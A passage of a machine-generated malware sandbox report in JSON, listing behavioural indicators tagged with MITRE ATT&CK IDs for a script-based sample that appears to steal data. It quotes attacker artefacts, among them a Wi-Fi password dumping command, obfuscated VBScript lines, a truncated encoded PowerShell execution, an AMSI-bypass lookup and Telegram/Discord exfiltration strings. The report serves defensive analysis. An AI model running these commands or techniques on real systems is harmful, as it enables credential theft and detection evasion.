\"00000000-00005280-00000C2B-3035351412\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"Found string \"hcp 65001 && netsh wlan show profile | findstr All\" (Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")\n Found string \"key=clear | findstr Key\" (Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005280-00000C2B-3033756234\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005280-00000C2B-3035351412\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00005280-00000C2B-3070738620\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005280-00000C2B-3031715902\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005280-00000C2B-3031716699\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005280-00000C2B-3036158588\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005280-00000C2B-3036158622\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"file/memory contains long string(File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-726","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005280-00000C2B-3062239284\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosErrorNoTeb\" in \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00005280-00000C2B-3034829130\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00005280-00000C2B-3034829167\")\n Found reference to API \"iscord >> SendMessage exception:\" (Indicator: \"sendmessage\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")\n Found reference to API \"sendMessage?chat_id=\" (Indicator: \"sendmessage\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")\n Found reference to API \"elegram >> SendMessage exception:\" (Indicator: \"sendmessage\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WScript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005700)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"WScript.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005700)\n \"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000524)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"WScript.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005700)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005700)\n \"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000524)\n \"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00008436)\n \"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003800)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005700)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005280)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005280)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name Administrators (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005700)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00005700)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005280)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$30","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"file/memory contains long string with (Indicator: \"\"set \"; File: \"Form_1759970159.vbs\")\n Found string \"Set OatsPosition = Eval(SheepSpace & \"(\"\"\" & RanchUnit & \"\"\")\")\" (Indicator: \"set \"; File: \"Form_1759970159.vbs\")\n Found string \"Set PaddockZone = Eval(\"OatsPosition.\" & PotatoStorage & \"(\"\"\" & TomatoStructure & \"\"\", 2, True)\")\" (Indicator: \"set \"; File: \"Form_1759970159.vbs\")\n Found string \"PaddockZone.WriteLine \"set \"\"jwulw=s\"\"\"\" (Indicator: \"\"set \"; File: \"Form_1759970159.vbs\")\n Found string \"PaddockZone.WriteLine \"set \"\"yfbps=t\"\"\"\" (Indicator: \"\"set \"; File: \"Form_1759970159.vbs\")\n Found string \"PaddockZone.WriteLine \"set \"\"djmwg=!jwulw!e!yfbps!\"\"\"\" (Indicator: \"\"set \"; File: \"Form_1759970159.vbs\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"Win32API|System Information Functions|GetWindowsDirectory\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"powershell.exe\" issued a query \"SELECT * FROM Win32_Processor\"\n \"powershell.exe\" issued a query \"$objects\"\n \"powershell.exe\" issued a query \"SELECT * FROM Win32_VideoController\"\n \"powershell.exe\" issued a query \"SELECT * FROM win32_operatingsystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$31","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries list of installed browsers","description":"$32","origin":"Registry Access","mitre_attack_id":"T1005","relevance":1,"id":"registry-137","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00000524-00000C17-3023108985\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00003800-00000C17-3025985538\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00005280-00000C17-3038349533","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"$34","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$35","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$36","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"powershell.exe\" called \"CopyFileW\" to copy %WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe to new location %APPDATA%\\powershell.exe (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter %TEMP%\\5801ecc3ac68f7ef104796fdde53a902 (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"cmd.exe\" called \"CreateProcessW\" with parameter \"cmd /c start \"\" /min \"%PUBLIC%\\FieldBuilding.bat\"\" - (UID: 00000000-00000524)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\system32\\cmd.exe /K \"%PUBLIC%\\FieldBuilding.bat\"\" - (UID: 00000000-00008436)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"\" -nop -c \"\"iex([Text.Encoding]::Unicode.GetString([Convert]::FromBas\" - (UID: 00000000-00003800)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134047138985738111.5280.DefaultAppDomain.powershell\" - (UID: 00000000-00005280)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\1l2awVdx40yoC0jbcU6iLoVmsFBN1eKDD2OzUpU3KjElobpUCc7PS2ejrXukdFr89E65GR6LSB6y8lwC37rirwSoW63NZmoGmqi1A3jWbROfZeLmtUh3Iw\" - (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"icanhazip.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.16.184.241:80\"\n \"146.70.23.218:587\"","origin":"Network 